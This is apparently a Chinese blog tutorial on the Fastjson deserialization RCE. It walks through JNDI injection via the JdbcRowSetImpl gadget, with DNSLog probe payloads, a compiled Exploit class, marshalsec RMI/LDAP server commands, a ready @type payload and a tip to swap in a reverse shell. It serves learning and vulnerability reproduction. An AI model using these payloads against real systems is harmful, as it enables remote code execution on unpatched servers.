IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Java知识库 -> Fastjson 反序列化 Jndi 注入利用 JdbcRowSetImpl 链 -> 正文阅读

[Java知识库]Fastjson 反序列化 Jndi 注入利用 JdbcRowSetImpl 链

Fastjson 反序列化

Fastjson 组件是阿里巴巴开发的反序列化与序列化组件

Fastjson组件在反序列化不可信数据时会导致远程代码执行。究其原因:

  1. Fastjson 提供了反序列化功能,允许用户在输入 JSON 串时通过 “@type” 键对应的 value 指定任意反序列化类名
  2. Fastjson 自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的 setter 方法及部分 getter 方法。攻击者可以构造恶意请求,使目标应用的代码执行流程进入这部分特定 setter 或 getter 方法,若上述方法中有可被恶意利用的逻辑(也就是通常所指的 “Gadget” ),则会造成一些严重的安全问题。官方采用了黑名单方式对反序列化类名校验,但随着时间的推移及自动化漏洞挖掘能力的提升。新 Gadget 会不断涌现,黑名单这种治标不治本的方式只会导致不断被绕过,从而对使用该组件的用户带来不断升级版本的困扰

Fastjson 组件使用案例

环境搭建

测试均是基于 1.2.23 版本的 fastjson jar 包,靶机搭建需要存在漏洞的 jar 包,但是在 github 上通常会下架存在漏洞的 jar 包,可以从 maven仓库 中找到所有版本 jar 包,方便漏洞复现

新建 maven 项目,在 pom.xml 中添加以下代码

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.23</version>
        </dependency>
    </dependencies>

点击右上角按钮

image-20220226153022391

案例一:

标准 POJO 类定义如下,有 userName 和 age 两个属性,并执行

POJO 是 Plain OrdinaryJava Object 的缩写,但是它通指没有使用 Entity Beans 的普通 java 对象,可以把 POJO 作为支持业务逻辑的协助类

import com.alibaba.fastjson.JSON;

public class User {
    private int age;
    private String userName;
    public User() {
        System.out.println("User construct");
    }
    public String getUserName() {
        System.out.println("getUserName");
        return userName;
    }
    public void setUserName(String userName) {
        System.out.println("setUserName:" + userName);
        this.userName = userName;
    }
    public int getAge() {
        System.out.println("getAge");
        return age;
    }
    public void setAge(int age) {
        System.out.println("setAge:" + age);
        this.age = age;
    }

    public static void main(String[] args) {
        String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
        String jsonstr2 = "{\"@type\":\"User\",\"age\":24,\"userName\":\"李四\"}";
        try {
            JSON.parse(jsonstr);
            System.out.println("=======================");
            JSON.parse(jsonstr2);
            System.out.println("=======================");
            JSON.parseObject(jsonstr);
            System.out.println("=======================");
            JSON.parseObject(jsonstr2);
            System.out.println("=======================");
            JSON.parseObject(jsonstr, User.class);
            System.out.println("=======================");
        }catch (Exception e) {
            System.out.println(e.getMessage());
        }
    }
}

输出结果

image-20220218214204229

输出结果说明 fastjson 在反序列化时

  1. 使用 parse 方法没有指定类的话不会触发任何方法,如果使用 @type 指定任意反序列化类名则可以触发构造方法和 set 方法
  2. 使用 parseObject 方法没有指定类的话不会触发任何方法,如果使用 @type 指定任意反序列化类名则可以触发构造方法和 get/set 方法
  3. 满足条件的 setter
    • 函数名长度大于 4 且以 set 开头
    • 非静态函数
    • 返回类型为 void 或当前类
    • 参数个数为 1 个
  4. 满足条件的 getter
    • 函数名长度大于等于 4
    • 非静态方法
    • 以 get 开头且第四个字母为大写
    • 无参数
    • 返回值类型继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLon

案例二:

public class User {
         public int age;
         public String userName;
         public User() {
                  System.out.println("User construct");
         }
}

执行反序列化

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         User user = JSON.parseObject(jsonstr, User.class);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.userName);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

输出结果

image-20220215142755061

对于没有 setter 的可见 public Filed,fastjson 会正确赋值

案例三:

将 Field userName 改为私有,不提供 setter

public class User {
         public int age;
         private String userName;
         public User() {
                  System.out.println("User construct");
         }
         public String getUserName() {
                  return userName;
         }
}

执行反序列化

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         User user = JSON.parseObject(jsonstr, User.class);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.getUserName());
}catch (Exception e) {
         System.out.println(e.getMessage());
}

image-20220215143319915

以上说明对于不可见 Field 且未提供 setter 方法,fastjson 默认不会赋值

将反序列化代码修改为如下:

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         User user = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.getUserName());
}catch (Exception e) {
         System.out.println(e.getMessage());
}

image-20220215142755061

对于未提供 setter 的私有 Field,fastjson 在反序列化时需要显式提供参数 Feature.SupportNonPublicField 才会正确赋值

案例四

反序列化解析的多种方式

先构建需要序列化的User类:User.java

package com.fastjson;

public class User {
    private String name;
    private int age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

再使用fastjson组件

package com.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Main {

    public static void main(String[] args) {
        //创建一个用于实验的user类
        User user1 = new User();
        user1.setName("lala");
        user1.setAge(11);

        //序列化
        String serializedStr = JSON.toJSONString(user1);
        System.out.println("serializedStr="+serializedStr);

        //通过parse方法进行反序列化,返回的是一个JSONObject
        Object obj1 = JSON.parse(serializedStr);
        System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
        System.out.println("parse反序列化:"+obj1);

        //通过parseObject,不指定类,返回的是一个JSONObject
        Object obj2 = JSON.parseObject(serializedStr);
        System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
        System.out.println("parseObject反序列化:"+obj2);

        //通过parseObject,指定类后返回的是一个相应的类对象
        Object obj3 = JSON.parseObject(serializedStr,User.class);
        System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
        System.out.println("parseObject反序列化:"+obj3);
    }
}

以上使用了三种形式反序列化
结果如下:

//序列化
serializedStr={"age":11,"name":"lala"}
//parse({..})反序列化
parse反序列化对象名称:com.alibaba.fastjson.JSONObject
parse反序列化:{"name":"lala","age":11}
//parseObject({..})反序列化
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"name":"lala","age":11}
//parseObject({},class)反序列化
parseObject反序列化对象名称:com.fastjson.User
parseObject反序列化:com.fastjson.User@3d71d552

parseObject({…})其实就是parse({…})的一个封装,对于parse的结果进行一次结果判定然后转化为JSONOBject类型。

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

而 parseObject({},class) 好像会调用 class 加载器进行类型转化,但这个细节不是关键,就不研究了

那么三种反序列化方式除了返回结果之外,还有啥区别?

在执行过程调用函数上有不同。

package com.fastjson;
import com.alibaba.fastjson.JSON;
import java.io.IOException;

public class FastJsonTest {

    public String name;
    public String age;
    public FastJsonTest() throws IOException {
    }

    public void setName(String test) {
        System.out.println("name setter called");
        this.name = test;
    }

    public String getName() {
        System.out.println("name getter called");
        return this.name;
    }

    public String getAge(){
        System.out.println("age getter called");
        return this.age;
    }

    public static void main(String[] args) {
        Object obj = JSON.parse("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
        System.out.println(obj);

        Object obj2 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}");
        System.out.println(obj2);

        Object obj3 = JSON.parseObject("{\"被屏蔽的type\":\"com.fastjson.FastJsonTest\",\"name\":\"thisisname\", \"age\":\"thisisage\"}",FastJsonTest.class);
        System.out.println(obj3);
    }
}

结果如下:

//JSON.parse("")
name setter called
com.fastjson.FastJsonTest@5a2e4553
//JSON.parseObject("")
name setter called
age getter called
name getter called
{"name":"thisisname","age":"thisisage"}
//JSON.parseObject("",class)
name setter called
com.fastjson.FastJsonTest@e2144e4

结论:

  • parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
  • parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)
  • parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法

特定的setter和getter的调用都是在解析过程中的调用。(具体是哪些setter和getter会被调用,我们将在之后讲到)

img

之所以parseObject("")有区别就是因为parseObject("")比起其他方式多了一步toJSON操作,在这一步中会对所有getter进行调用。

img

漏洞原理

fastjson 支持使用 @type 指定反序列化的目标类,并且会自动调用类中属性的特定的 set,get 方法

package com.fastjson;
import java.util.Properties;

public class Person {
    //属性
    public String name;
    private String full_name;
    private int age;
    private Boolean sex;
    private Properties prop;
    //构造函数
    public Person(){
        System.out.println("Person构造函数");
    }
    //set
    public void setAge(int age){
        System.out.println("setAge()");
        this.age = age;
    }
    //get 返回Boolean
    public Boolean getSex(){
        System.out.println("getSex()");
        return this.sex;
    }
    //get 返回ProPerties
    public Properties getProp(){
        System.out.println("getProp()");
        return this.prop;
    }
    //在输出时会自动调用的对象ToString函数
    public String toString() {
        String s = "[Person Object] name=" + this.name + " full_name=" + this.full_name  + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
        return s;
    }
}

@type 反序列化实验

import com.alibaba.fastjson.JSON;

public class type {

    public static void main(String[] args) {
        String eneity3 = "{\"@type\":\"com.fastjson.Person\", \"name\":\"lala\", \"full_name\":\"lalalolo\", \"age\": 13, \"prop\": {\"123\":123}, \"sex\": 1}";
        //反序列化
        Object obj = JSON.parseObject(eneity3, com.fastjson.Person.class);
        //输出会调用obj对象的tooString函数
        System.out.println(obj);
    }
}

结果如下

image-20220215150147889

public name 反序列化成功
private full_name 反序列化失败
private age setAge 函数被调用
private sex getsex 函数没有被调用
private prop getprop 函数被成功调用

可以得知:

  • public 修饰符的属性会进行反序列化赋值,private 修饰符的属性不会直接进行反序列化赋值,而是会调用 setxxx ( xxx 为属性名)的函数进行赋值
  • getxxx (xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

Jndi注入利用JdbcRowSetImpl链

原理

反序列化 Gadget 主流都是使用 JNDI,现阶段都是在利用根据 JNDI 特征自动化挖掘 Gadget。JNDI 采取什么样的方式注入以及能否注入成功和 JDK 的版本有关,因为 JDK 为了阻止反序列化攻击也实施了相应的缓解措施

简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用 JNDI 来定位数据库服务或一个远程 Java 对象。JNDI 底层支持 RMI 远程对象,RMI 注册的服务可以通过 JNDI 接口来访问和调用

JNDI支持多种命名和目录提供程序(Naming and Directory Providers), RMI 注册表服务提供程序(RMI Registry Service Provider)允许通过 JNDI 应用接口对 RMI 中注册的远程对象进行访问操作。将 RMI 服务绑定到 JNDI 的一个好处是更加透明、统一和松散耦合,RMI 客户端直接通过 URL 来定位一个远程对象,而且该 RMI 服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起

在 JNDI 服务中,RMI 服务端除了直接绑定远程对象之外,还可以通过 References 类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了 Reference 之后,服务端会先通过 Referenceable.getReference() 获取绑定对象的引用,并且在目录中保存。当客户端在 lookup() 查找这个远程对象时,客户端会获取相应的 object factory,最终通过 factory 类将 reference 转换为具体的对象实例

fastjson<1.2.24 JdbcRowSetImpl链

com.sun.rowset.JdbcRowSetImpl 为例说明。根据 FastJson 反序列化漏洞原理,FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。JdbcRowSetImpl 类的 setAutoCommit() 会调用 connect() 函数,connect() 函数如下:

 private Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

connect() 会调用 InitialContext.lookup(dataSourceName),这里的参数 dataSourceName 是在 setter 方法 setDataSourceName(String name) 中设置的。所以在 FastJson 反序列化漏洞过程中,我们可以控制 dataSourceName 的值,也就是说满足了 JNDI 注入利用的条件

image-20220226151152196

JNDI注入利用流程如下:

图源:华电许少

image-20220226151020617

1、目标代码中调用了 InitialContext.lookup(URI),且 URI 为用户可控;

2、攻击者控制 URI 参数为恶意的 RMI 服务地址,如:rmi://hacker_rmi_server//name;

3、攻击者 RMI 服务器向目标返回一个 Reference 对象,Reference 对象中指定某个精心构造的 Factory 类;

4、目标在进行 lookup() 操作时,会动态加载并实例化 Factory 类,接着调用 factory.getObjectInstance() 获取外部远程对象实例;

5、攻击者可以在 Factory 类文件的构造方法、静态代码块、getObjectInstance() 方法等处写入恶意代码,达到 RCE 的效果;

在这里,攻击目标扮演的相当于是 JNDI 客户端的角色,攻击者通过搭建一个恶意的 RMI 服务端来实施攻击

可使用 https://github.com/mbechler/marshalsec 快速开启 RMI/LDAP 服务

复现

先来简单梳理步骤,之后按步进行

1.探测,使用 dnslog 测试漏洞存在以及测试外连

2.编译恶意类,修改 Exploit 并编译成 class 文件,上传至 vps

3.在 vps 上准备 LDAP/RMI 服务和 Web 服务并开启 nc 监听

4.向目标机器发送 payload,接受反弹 shell

  1. 用来探测目标版本,才能更好确定使用的 payload。还可以用来区分 fastjson 和 Jackjson

    fastjson 探测版本,还可以用错误格式的json发过去。如果对方异常未处理可报出详细版本

    原理重点关注 MiscCodec 处理时会去 nwe URL,然后通过后面的map#put触发计算key的hash。学习urldns链容易理解

    fastjson >1.2.43

    {"@type":"java.net.URL","val":"http://dnslog"}
    {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
    

    fastjson >1.2.48

    {"@type":"java.net.InetAddress","val":"dnslog"}
    

    fastjson >1.2.68

    {"@type":"java.net.Inet4Address","val":"dnslog"}
    {"@type":"java.net.Inet6Address","val":"dnslog"}
    {{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
    {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
    Set[{"@type":"java.net.URL","val":"http://dnslog"}]
    Set[{"@type":"java.net.URL","val":"http://dnslog"}
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
    {{"@type":"java.net.URL","val":"http://dnslog"}:0
    
  2. 编译恶意类

    public class Exploit {
    static {
            System.err.println("Pwned");
            try {
                    String[] cmd = {"calc"};
                    java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                    e.printStackTrace();
            }
    	}
    }
    

    在进入 cmd 文件所在目录,使用 javac 命令

    javac .\Exploit.java
    

    得到 Exploit.class,部署在 HTTP 服务上,确保通过 http://ip:port/Exploit.class 可访问下载即可

    可以使用 python 部署 HTTP 服务

    python3 -m http.server 80 或者 python -m SimpleHTTPServer 80
    

    因为本身 fastjson 其实就是 jndi 注入,所有有两种恶意类部署方法:RMI 和 LDAP

  3. RMI 方式利用

    JDK 6u132, JDK 7u122, JDK 8u113 之前可用

    攻击者通过 RMI 服务返回一个 JNDI Naming Reference,受害者解码 Reference 时会去我们指定的 Codebase 远程地址加载 Factory 类,但是原理上并非使用 RMI Class Loading 机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制,相对来说更加通用

    但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为true

    启动 RMI 服务

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/#Exploit 9999
    
    // IP 端口需要和存放 class 文件的 web 信息一致,# 后面是类名,最后参数是 RMI 服务监听端口
    

    image-20220226163216292

    没有提示即为启动成功

    执行反序列化,这里直接用演示代码包含 payload

    import com.alibaba.fastjson.JSON;
    
    class demo1{
        public static void main(String[] args) {
            String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exploit\",\"autoCommit\":true}";
            try {
                System.out.println(payload);
                JSON.parseObject(payload);
            } catch (Exception e) {
                System.out.println(e.getMessage());
            }
        }
    }
    

    执行成功弹出计算器,执行失败的话首先看看 jdk 版本

  4. LDAP 方式利用

    JDK 11.0.1、8u191、7u201、6u211 之前可用

    除了 RMI 服务之外,JNDI 还可以对接 LDAP 服务,LDAP 也能返回 JNDI Reference 对象,利用过程与上面 RMI Reference 基本一致,只是 lookup() 中的 URL 为一个 LDAP 地址:ldap://xxx/xxx,由攻击者控制的 LDAP 服务端返回一个恶意的 JNDI Reference 对象。并且 LDAP 服务的 Reference 远程加载 Factory 类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,所以适用范围更广

    不过在2018年10月,Java 最终也修复了这个利用点,对 LDAP Reference 远程工厂类的加载增加了限制,在 Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为 false

    继续使用之前的 Exploit.class 文件,然后使用 marshalsec 启动 LDAP 服务

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 9999
    

    演示代码也只需要需要 rmi 为 ldap 即可,运行代码执行命令弹出计算器

TIPS

  • 上边演示代码中只是弹出计算器,在执行命令处可以替换为反弹 shell

  • 当 javac 版本和目标服务器差太多,会报一个下面那样的错误,所以需要使用 1.8 的 javac 来编译 Exploit.java

    Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
    

    当运行 LDAP 的服务器java版本过高,会无法运行 LDAP 服务,虽然显示正在 Listening,但是 Fastjson 的 JNDI 会报错,显示无法获取到资源,所以要使用 java 1.8(openjdk 8)来运行 LDAP 服务

  • 在上述代码中 payload 直接在写在了文件中,在正常渗透测试过程中一般以以下情况出现

    POST /note/submit
    
    param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit","autoCommit":true}}}
    

调试

在看完原理之后感觉还是有点懵,这部分将使用调试的方法探究漏洞原理,代码就是复现部分使用的,在 parseObject 处下断点

payload:

{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/Exploit\",\"autoCommit\":true}

根据原理 FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。JdbcRowSetImpl 类的 setAutoCommit() 会调用 connect() 函数

  1. 首先对输入的字符串进行解析

    image-20220226193559075

    之后进入 scanSymbol 函数遍历字符串扫描特殊标志 @type

    image-20220226194104302

    扫到之后添加

    image-20220226193936557

  2. 之后对字符串进行反序列化

    image-20220226194706506

    决定这个 set/get 函数是否将被调用的代码最终在com.alibaba.fastjson.util.JavaBeanInfo#build函数处

    image-20220226195223689

    在进入build函数后会遍历一遍传入 class 的所有方法,去寻找满足 set 开头的特定类型方法;再遍历一遍所有方法去寻找 get 开头的特定类型的方法

    image-20220226201758942image-20220226201806139

    也就是在这里对反序列化的 set get 方法名提出了要求

    由此可确认

    • 被屏蔽的type可以指定反序列化成服务器上的任意类
    • 然后服务端会解析这个类,提取出这个类中符合要求的setter方法与getter方法(如setxxx)
    • 如果传入json字符串的键值中存在这个值(如xxx),就会去调用执行对应的setter、getter方法(即setxxx方法、getxxx方法)

    调试的人很麻

  3. 进去跟进setAutoCommit方法,由于this.conn = null 进入到 this.connect() 方法中

    public void setAutoCommit(boolean var1) throws SQLException {
    				// this.comm = null 引入else
            if (this.conn != null) {
                this.conn.setAutoCommit(var1);
            } else {
                this.conn = this.connect();
                this.conn.setAutoCommit(var1);
            }
    }
    

    跟进connect方法,其中直接获取了dataSourceName 中RMI地址,并调用lookup发起请求,由于RMI服务器上已经注册好了恶意类,最终导致命令执行

高级利用-推荐阅读

Fastjson姿势技巧

https://github.com/safe6Sec/Fastjson

fastjson检测

https://www.bilibili.com/video/BV1i3411y7e6

https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/

参考文章

https://www.freebuf.com/vuls/228099.html

https://xz.aliyun.com/t/7027

  Java知识库 最新文章
计算距离春节还有多长时间
系统开发系列 之WebService(spring框架+ma
springBoot+Cache(自定义有效时间配置)
SpringBoot整合mybatis实现增删改查、分页查
spring教程
SpringBoot+Vue实现美食交流网站的设计与实
虚拟机内存结构以及虚拟机中销毁和新建对象
SpringMVC---原理
小李同学: Java如何按多个字段分组
打印票据--java
上一篇文章      下一篇文章      查看所有文章
加:2022-02-28 15:14:49  更:2022-02-28 15:17:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 11:31:02-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码